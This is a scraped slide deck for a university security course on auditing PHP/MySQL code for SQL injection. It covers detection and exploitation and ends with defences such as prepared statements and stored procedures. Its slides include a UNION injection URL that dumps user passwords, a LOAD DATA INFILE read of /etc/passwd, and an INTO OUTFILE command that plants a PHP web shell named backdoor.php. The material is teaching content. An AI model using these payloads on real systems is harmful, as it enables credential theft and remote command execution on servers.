Information Security Training Web Application Code Auditing and SQL Injection ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Vulnerability Assessments can vary in depth Surface assessments Full code audits What are you looking for? A vulnerability is not necessarily a design flaw. ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Understanding Threats Threat modeling is an important process Not necessarily germane to vulnerability assessment Threat modeling deals with the “what” and the “why” of security, vulnerability assessment deals with the “how” ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Exploits In the “gray hat” context, exploits are synonymous with proof of concept Why develop proof of concept? Test ease of exploitability Helps to gauge vulnerability severity Helps model impact to develop remediation and reaction strategies Proof of concept is demonstrative only, not a weaponized exploit ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Finding Vulnerability White box testing Gray box testing Reading the code Knowing the applications purpose, having credentials, some code available, etc. Black box testing Penetration testing Attacking the application from the outside ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Tools Automated tools are useful in each testing scenario Help cut down on manual, repetitive tasks Can produce a lot of false positives Are really only useful when guided by a skilled human ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Essential White Box Tools PHP CLI for testing expressions and flow Perl for automated code analysis and exploit testing IDE (Integrated Development Environment) for syntax highlighting, easily tracing flow over includes, and spotting dangerous functions Eclipse with PHPEclipse and Remote System Explorer (RSE) is ideal ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Essential Gray/Black Box Tools to manipulate user supplied input quickly and easily, as well as for automated spider and mapping of target Paros proxy for capturing interactions Firefox Tamper Data plugin for on the fly data manipulation http: //www. parosproxy. org https: //addons. mozilla. org/en-US/firefox/addon/966 Firefox Web Developer plugin for presentation manipulation (Java. Script, CSS, and Cookies) https: //addons. mozilla. org/en-US/firefox/addon/60 ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Approach Look for vulnerabilities methodically Making a list of vulnerability classes is helpful Start with one class, search the application for all instances of that, then move to next Start with easiest and move to most difficult Some flaws will require a complete understanding of intended program operation so some testing involves simply familiarity ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Example – SQL Injection SQL injection is an extremely common, and dangerous web app vulnerability Fortunately SQL injection is very easy to find using white box testing All SQL queries must pass through a PHP function to reach the database Isolate and examine all SQL queries to find injection potential ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
SQL Injection Vulnerability whereby an attacker can manipulate a SQL query string SQL injection may not always be exploitable SQL injection can be used for other attacks (such as performing a stored cross site scripting (XSS) attack) ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
PHP & My. SQL PHP interacts with My. SQL by setting up a connection resource then passing queries through <? php $conn = mysql_connect($server, $username, $password); mysql_select_db($database); $query_resource = mysql_query($sql_statement); while ($row = mysql_fetch_row($query_resource)) { echo $row[0]; echo $row[1]; } msyql_close(); ? > ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Side Note: Information Disclosure Often times connection details are stored in include files Although not SQL injection, information disclosure could occur Connection credentials (username, password, database) must be stored in an Apache readable format This generally means they're in plain text on the file server ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Side Note: Information Disclosure <? php $link = mysql_connect('localhost', 'mysql_user', 'mysql_password'); if (!$link) { die('Could not connect: '. mysql_error()); } echo 'Connected successfully'; [rest of the page] mysql_close($link); ? > ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
![Typical SQL Injection Vulnerability <? php $id = $_GET['id']; $sql = 'select * from](https://present5.com/presentation/84892158b44dcc8f76cf0398df5cfc91/image-15.jpg "Typical SQL Injection Vulnerability <? php $id = $_GET['id']; $sql = 'select * from")
Typical SQL Injection Vulnerability <? php $id = $_GET['id']; $sql = 'select * from table where id='. $id; ? > Application expects a URL in the form http: //sitename. tld/index. php? id=5 This is supposed to result in a SQL statement such as: select * from table where id=5 ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Manipulating the query What happens if an attacker calls the URL http: //site. tld/index. php? id=5 union select username, password from user The resulting query becomes: select * from table where id=5 union select * from user This could result in sensitive information being rendered by the application ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
User Supplied Input ANY user supplied input can be used to trigger a SQL injection GET, POST, HTTP_REFERER, COOKIE, RSS input, AJAX resources, etc. Just because it's not easy for a user to manipulate the supplied input does not mean it is safe! Using a proxy like Paros will allow most data to be manipulated quite easily ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
PHP Register Globals Setting controlled in /etc/php. ini http: //us 3. php. net/manual/en/ini. core. php#ini. register-globals Should become extinct very soon Allows all variables to be referred to without context Makes $_GET['id'] the same as $id Default behavior in PHP 3, many legacy applications require it Should be set to off! ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Dangers of Register Globals Variable collision Can allow malicious users to arbitrarily set or reset critical variables $_SERVER['DOCUMENT_ROOT'] Encourages haphazard coding Leads to confusion when reading/reviewing code ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Back to SQL Injection SQL queries operate with the privileges of the user account specified in the mysql_connect() function. If account was set up properly it should have minimal permissions Some configurations could use the My. SQL root account though, which has privileges of the My. SQL process ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Some SQL Injection Strategies Expose sensitive data Using JOIN or UNION in injection or simply changing parameters Inject malicious data Manipulate INSERT or UPDATE statements Alter database content Read or write operating system files Using privilege normally reserved for root ©Copyright Justin C. Klein Keane Manipulate or expose My. SQL system files <jukeane@sas. upenn. edu>
PHP and My. SQL Quirks In PHP and My. SQL you cannot “stack” queries This means attackers only get one SQL statement to work with This makes exploiting PHP/My. SQL injection a lot trickier than with other systems Unfortunately automated tools make this a much lower bar than it used to be ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Developing My. SQL Injections After you spot a SQL statement in PHP code that you suspect is vulnerable: Develop your exploit in My. SQL command line Much of the query is static, and it can be tricky to figure out a way to alter the rest of the query Use the most favorable environment you can, exploit development is hard enough already! Keep in mind that just because you can't develop an exploit, doesn't mean vulnerability isn't exploitable! Proof of concept need only demonstrate vulnerability. ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Advantages of My. SQL CLI Easy to develop and repeat queries Good error output lets you know what went wrong Easy access to data and table definitions Removes interference from the PHP application layer ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Sample DB Target Example tables: mysql> desc content; +---------+-----+------------+ | Field | Type | Null | Key | Default | Extra | +---------+-----+------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | data | text | YES | | NULL | | +---------+-----+------------+ 2 rows in set (0. 02 sec) mysql> desc users; +-------------+-----+------------+ | Field | Type | Null | Key | Default | Extra | +-------------+-----+------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | username | varchar(30) | YES | | NULL | | | password | varchar(30) | YES | | NULL | | +-------------+-----+------------+ 3 rows in set (0. 00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
JOIN Data Joins must have a mapping value mysql> select * from content STRAIGHT_JOIN users on content. id=users. id; +----+----------+------+ | id | data | id | username | password | +----+----------+------+ | 1 | foo | 1 | joe | p 455 w 0 rd! | +----+----------+------+ 1 row in set (0. 03 sec) LEFT JOIN, RIGHT JOIN, INNER JOIN, LEFT OUTER JOIN, STRAIGHT_JOIN ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
UNION data UNION is a popular injection trick NB: Union must have the same number of columns mysql> select * from content where id=1 union select username, password from users where id=1; +-----------+ | id | data | +-----------+ | 1 | foo | | joe | p 455 w 0 rd! | +-----------+ 2 rows in set (0. 03 sec) ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
PHP/My. SQL Injection attacks are largely dependent on the static portions of the query being manipulated Note injection points and static query data in the following injectable statements: select * from user where user_id = $id update user set username='$name', password=md 5($password) where id = $id ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Compound Queries Although you can't “stack” queries in PHP/My. SQL, you can issue compound queries Queries restrict what you can do You can't alter the SQL prior to the injection point You can comment out SQL after the injection point ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
INFILE and OUTFILE Special that are usually only associated with privileged accounts Can read/write to the OS with the privileges of the My. SQL server ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
INFILE Example mysql> LOAD DATA INFILE '/etc/passwd' INTO TABLE content (data); Query OK, 35 rows affected (0. 00 sec) Records: 35 Deleted: 0 Skipped: 0 Warnings: 0 mysql> select * from content; +-----------------------------------------+ | id | data | +-----------------------------------------+ | 1 | foo | | 45 | mail: x: 8: 12: mail: /var/spool/mail: /bin/sh | | 44 | halt: x: 7: 0: halt: /sbin/halt | | 43 | shutdown: x: 6: 0: shutdown: /sbin/shutdown | [. . . ] | 71 | named: x: 80: 423: system user for bind: /var/lib/named: /bin/false | +-----------------------------------------+ 36 rows in set (0. 00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
OUTFILE Can be useful when query doesn't return data directly Can be used to write data to a web accessible location Can be used to write files that can later be read with INFILE injections Cannot be used to alter an existing file ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
![OUTFILE Nastiness [jukeane@topsail ~]$ ls -latdr /var/www/html drwxrwsrwx 36 apache jukeane 4096 2009 -06](https://present5.com/presentation/84892158b44dcc8f76cf0398df5cfc91/image-33.jpg "OUTFILE Nastiness [jukeane@topsail ~]$ ls -latdr /var/www/html drwxrwsrwx 36 apache jukeane 4096 2009 -06")
OUTFILE Nastiness [jukeane@topsail ~]$ ls -latdr /var/www/html drwxrwsrwx 36 apache jukeane 4096 2009 -06 -04 08: 30 /var/www/html/ [jukeane@topsail ~]$ mysql -u root -p p Enter password: Welcome to the My. SQL monitor. Commands end with ; or g. mysql> select * from content into outfile '/var/www/html/passwd. txt'; Query OK, 36 rows affected (0. 00 sec) mysql> select '<? php echo system($_GET['cmd']); ? >' from dual into outfile '/var/www/html/backdoor. php'; Query OK, 1 row affected (0. 00 sec) mysql> exit Bye ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
![OUTFILE Nastiness Cont. [jukeane@topsail ~]$ cat /var/www/html/backdoor. php <? php echo system($_GET['cmd']); ? >](https://present5.com/presentation/84892158b44dcc8f76cf0398df5cfc91/image-34.jpg "OUTFILE Nastiness Cont. [jukeane@topsail ~]$ cat /var/www/html/backdoor. php <? php echo system($_GET['cmd']); ? >")
OUTFILE Nastiness Cont. [jukeane@topsail ~]$ cat /var/www/html/backdoor. php <? php echo system($_GET['cmd']); ? > [jukeane@topsail ~]$ cat /var/www/html/passwd. txt 1 foo 45 mail: x: 8: 12: mail: /var/spool/mail: /bin/sh 44 halt: x: 7: 0: halt: /sbin/halt ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Useful Tips: Information Schema is a view to database metadata Can be used to enumerate database data such as table names, column names and column types Only information for which the user has privileges can be accessed ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Information Schema Example mysql> select table_schema, table_name from information_schema. tables; +------------------------------+ | table_schema | table_name | +------------------------------+ | test_data | blog | | test_data | user | | test_data | test | | test_data | content | +------------------------------+ ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Blind SQL Injection Term of art used to describe SQL injection vulnerabilities that when exploited do not provide directly visible results to the attacker May simply result in an error Could result in an update that may not be apparent Could result in a timing condition etc. ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Preventing SQL Injection PHP/My. SQL has many strategies for preventing SQL injection attacks ALWAYS validate user supplied data We'll see this theme recurring a lot Create accounts with least privilege necessary to carry out application functionality Limit application to one database, and limit database data to one application! ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
PHP Built In Functionality PHP mysql_real_escape_string() http: //us 2. php. net/mysql_real_escape_strin g Sanitizes variables for use in a query $username = mysql_real_escape_string($_POST['username']); $query = mysql_query(“update user set username = '$username'”); Enforce variable type: $query = mysql_query('select * from content where id='. intval($_GET['id']); addslashes() is not and effective way to protect against SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Libraries Using third party libraries standardizes code and frees developers from maintenance PEAR MDB 2 ADOdb http: //pear. php. net/package/MDB 2 http: //adodb. sourceforge. net/ Project specific libraries If not used properly libraries can become vulnerable to SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Prepared Statements (Bind Variables) My. SQLi (My. SQL improved) connection Effectively eliminates SQL injection http: //us. php. net/mysqli My. SQLi may not always be installed or available Example usage: $conn = new mysqli("localhost", "user", "pass", "database"); $statement = $db_connection->prepare("SELECT * FROM content WHERE id = ? "); $statement->bind_param("i", $id); $statement->execute(); ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Stored Procedures mysql> DELIMITER // mysql> create procedure ret_content ( -> IN inid INT, OUT outdata varchar(255) -> BEGIN -> select data into outdata from content where id = inid; -> END; // Query OK, 0 rows affected (0. 00 sec) ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Stored Procedures from PHP <? php $conn = mysql_connect('localhost', 'user', 'pass'); mysql_select_db('db'); mysql_query("call ret_content(1, @retval)") ; $retval = mysql_query("select @retval"); while ($row = mysql_fetch_row($retval)) echo $row[0]; mysql_close(); ? > This is by far one of the safest approaches! Combining stored procedures with application accounts that only have access to execute stored procedures is the best option for preventing SQL injection ©Copyright Justin C. Klein Keane <jukeane@sas. upenn. edu>
Скачать презентацию Information Security Training Web Application Code Auditing and
84892158b44dcc8f76cf0398df5cfc91.ppt